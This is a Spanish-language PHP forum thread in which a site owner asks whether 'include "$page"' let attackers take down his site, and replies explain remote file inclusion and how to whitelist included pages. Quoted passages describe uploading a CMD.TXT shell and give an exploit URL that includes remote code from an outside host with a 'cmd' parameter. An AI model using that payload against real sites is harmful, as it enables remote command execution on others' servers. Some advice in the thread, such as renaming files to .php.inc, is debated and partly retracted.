Es posible mediante una Include poder hackerar mi web y bajarme ek Host.....
include"$page";
Miren :
http://es.geocities.com/alexis_rcp/paper1.txt
a que se debe...
Espero sus comentarios
Saludos
| ||||
![]() Es posible mediante una Include poder hackerar mi web y bajarme ek Host..... include"$page"; Miren : http://es.geocities.com/alexis_rcp/paper1.txt a que se debe... Espero sus comentarios Saludos Última edición por helthon; 24/08/2005 a las 12:40 |
| |||
mm Hombre .. si tu haces: http://www.tusitio.com/abre_pagina.p...tmalicioso.php y "abre_pagina.php" hace: Código PHP: Pero lo más sano es que NUNCA! hagas eso sino que "valides" que archivos vas a incluir de esa forma .. por ejemplo puedes empezar filtrando esa variable "pagina" para no aceptar http:// .. tampoco un ../ .. o similar y así restringirte a tu própio HOST las llamadas de páginas. En otros casos puedes usar un array de páginas autorizadas y validar contra ese array (in_array() por ejemplo) si está "$pagina" en tu lista (en el array). En fin .. hay muchos métodos, lo importante y primera premisa es "NUNCA! confiar en el valor que pueda llegarte de forma externa", como podría ser esa $pagina (más encima si usas register_globals a ON peor todavía). Un saludo, |
| |||
Holas. Llevo tiempo sin programar pero si no recuerdo mal si tiene extensión .php no se ejecuta en el server victima, pero si tu lo dices... Respecto a lo de validar que contiene página, creo que lo mas sencillo en un simple switch() Saludos ;) |
| |||
Holas de nuevo. Cita: No había leido el texto. Creo que queda claro :P - Bien como uso esto? Imaginemos que la web es http://webvulnerable.com/index.php?p...hivo-a-incluir Lo que haremos sera incluir nuestro codigo (CMD.TXT),lo guardaremos con extencion txt,gif,jpg,dat para que se ejecute en la website vulnerable, ya que si lo guardamos con extencion php se ejecutara en nuestro servidor.Una ves guardado nuestro codigo lo subimos a nuestro webserver (cuenta host, website). |
| |||
Hola, Muy interesante el tema. Me gustaria dar mi opinion y espero que sea la acertada sino corrijanme, jeje Para empezar en "el caso real" que aparece y comenta el autor del texto veo que el webmaster al que hackean nombra los archivos acabados en .inc.php "inc/functions.inc.php" a mi entender es un error si no las va a ejecutar como paginas individuales php pero si son funciones que va a incluir en otra pagina PHP deberia renombrarlo a .php.inc quedando asi "inc/functions.php.inc" de este modo si algun intruso introduce directamente la direccion del archivo, el codigo que contiene dicho archivo no se ejecutaria. De este modo "nuestro" hacker no podria jodernos con su metodo http://[victim]/[dir]/inc/formmail.inc.php?script_root=http://tuweb.com/cmd.txt?&cmd=comando puesto que no se ejecutaria como una pagina PHP. Vamos, creo yo que de este modo se soluciona y si me equivoco agradeceria que me corrigieran.
__________________ Conoce gente nueva, haz amigos, aplicaciones para moviles, juegos online,... Y todo gratis!!! :si: www.cuelate.com |
| |||
Holas. Bueno, si no recuerdo mal los archivos .inc se muestran en los navegadores como puro texto. Entonces no tendría sentido...pero vuelvo a decir que no hay que complicarse la vida con esas cosas. Usamos un switch() y punto :) Tampoco hagais mucho caso a textos escritos por personas como esta que van de hackers por la vida. No hay mas que ver su web. Flipo con algunas personas. La gente se aburre mucho y se cree sabia por defacear un website, bueno...da igual. Saludos ;) |
| |||
Pero una pregunta $thisone, al renombrar los archivos a .php.inc los muestra como texto y no los ejecuta como codigo PHP por lo que todo lo que metas de mas en la URL no se va a ejecutar, asi que no le funcionaria, no?? Lo malo es que podria ver tu codigo
__________________ Conoce gente nueva, haz amigos, aplicaciones para moviles, juegos online,... Y todo gratis!!! :si: www.cuelate.com |
| |||
Te comento el porque lo digo. Este "hacker" se ayuda de la sentencia INCLUDE de PHP, entonces mete el codigo maligno en la url y al ejecutarse la pagina PHP ese codigo va a parar al Include. Si esa pagina estuviera nombrada como .php.inc ese codigo no se ejecutaria y nunca llegaria al include puesto que no seria una pagina PHP y solo mostraria el codigo texto. Esto es lo que yo creo q sucederia pero no estoy seguro del todo asi que intentare hacer la prueba. Otra cosa que me gustaria aclarar, esto solo se podria utilizar en el caso real del hacker puesto que utiliza esos scripts para entrar pero si utilizara una pagina PHP sin ser un script que se puede "ocultar" habria que hacer lo que les ha comentado Cluster o $thisone Espero haberme explicado Un saludo
__________________ Conoce gente nueva, haz amigos, aplicaciones para moviles, juegos online,... Y todo gratis!!! :si: www.cuelate.com |
| |||
Holas. Bueno, pensando un poco lo que dices no puede hacerse...hombre, puedes nombrar los archivos que quieres incluir como php.inc pero...no serviría de mucho, porque el archivo que corre riesgo es el que llama a la función include() y no los que son incluidos. Después, si te refieres a renombrar el archivo que llama a la función include() esto si que es imposible, porque solo lo mostraría como texto y no ejecutaría el código, con lo cual sería como no tener archivo. Lo explico de forma liosa xD..pero piensalo y te darás cuenta. Añado que para realizar este ataque lo normal es que el servidor tenga que tener register_global=on. Y bueno, un servidor mas o menos bien configurado no lo tendría, por esto mismo, por seguridad. Por eso es conveniente usar siempre las variables predefinidas :) Saludos ;) |
| |||
Holas. @ Geri xDDD. Lo que dices compositor19, coño es lógico, lo que Geri dice es de nombrarlos así archivo.php.inc Es como si a mi me da por nombrar un archivo.txt.pdf.html.php El archivo será SIEMPRE PHP :) Saludos ;) |
| |||
Admito que soy un poco duro de mollera pero veamos a ver si me explico en lo que quiero decir. Un archivo acabado en .php se va a ejecutar como una pagina PHP pero un archivo terminado x ejemplo en .php.inc si alguien la llama directamente mostraria lo que contiene, es decir, el codigo. Por ejemplo, yo tengo un script que me borra toda la base de datos(borrar.php.inc) y que lo quiero llamar cuando pulso un boton(index.php) borrar.php.inc ----------------- <? mysql_query("delete....."); ?> ---------------- index.php ----------------- <? if(isset($_POST['borrar'])){ include("borrar.php.inc")//EJECUTA EL CODIGO DE BORRAR.PHP.INC }else{ ?> <form ..... <input type="submit" name="borrar" value="Borrar"> </form> <? } ?> Si alguien se saltase la pagina index.php e introduciera directamente en su url http://misitio.com/borrar.php.inc le apereceria el mysql_query... pero no se ejecutaria, en cambio si lo tuviera nombrado como borrar.inc.php ejecutaria el QUERY y borraria la base de datos Espero haberme explicado y si no tengo razon perdonen mi cabezoneria Un saludo
__________________ Conoce gente nueva, haz amigos, aplicaciones para moviles, juegos online,... Y todo gratis!!! :si: www.cuelate.com |
| |||
Joder, disculpen pero tienen ustedes razon. Es que no se porque probandolo en localhost me aparecia el codigo(cosa rara) y subiendolo a un servidor se ejecutaba. De nuevo disculpenme Un saludo
__________________ Conoce gente nueva, haz amigos, aplicaciones para moviles, juegos online,... Y todo gratis!!! :si: www.cuelate.com |
| ||||
Gracias a todos por la ayuda les informo lo siguiente mi web es : http://www.tekkenperu-oficial.com/ esta en un hosting alkilado Lo puedes ver desde ahi :http://72-29-76-55.dimenoc.com/~tekken/ como veras el codigo es el simple y comun usado... ahora yo solo uso <?php include('encuesta.php'); ?> que llama a toda la encuesta pero dentro de eso no figura ninguna llamada a la B.D. A que se deberia el porque de bajarse esa web del server. Otro dato si fuera asi de vulnerable el PHP de que manera lo puedo proteger..?? |
| ||||
Pero entocnes para lo que sabiamos del tema, podeis lelgar a un texto en comun por que yo me perdi un poko con tanto lio... si no entendi mal lo que no se debe hacer es hacer un include que carge un pagina por variable tipo include ($mivariable); o no es eso?¿ por favor intentemos sacar un texto en claro he pongamoslo en las faq, creoq ue estas cosas son a tener muy en cuenta, ya que te pueden tirar el trabajo de meses de trabajo en solo 5 minutos Un Saludo |
| ||||
Ya me perdi... que es lo recomendable al hacer el Include : Pasar por variable la pagina <?php include($mivariable); ?> Pasar solo la pagina <?php include('encuesta.php'); ?> Pasar la pagina asi : <?php include('encuesta.php.inc'); ?> Gracias Cual de todas es la recomendable para no tener algun tipo de problemas.. |
| ||||
Ya me perdi... que es lo recomendable al hacer el Include : Pasar por variable la pagina <?php include($mivariable); ?> Pasar solo la pagina <?php include('encuesta.php'); ?> Pasar la pagina asi : <?php include('encuesta.php.inc'); ?> Cual de todas es la recomendable para no tener algun tipo de problemas.. Thank... |
| |||
Holas. Lo único que hay que hacer es una lista de las páginas que quieres permitir que se incluyan y ya esta. Pongo un ejemplo: Código PHP: Saludos ;) |
| |||
Solo una aclaración más ... Código PHP: Pero .. en ese ejemplo si -antes- y he de ahí lo importante se ha definido dicha variable .. no habrá problemas: Código PHP: Un saludo, |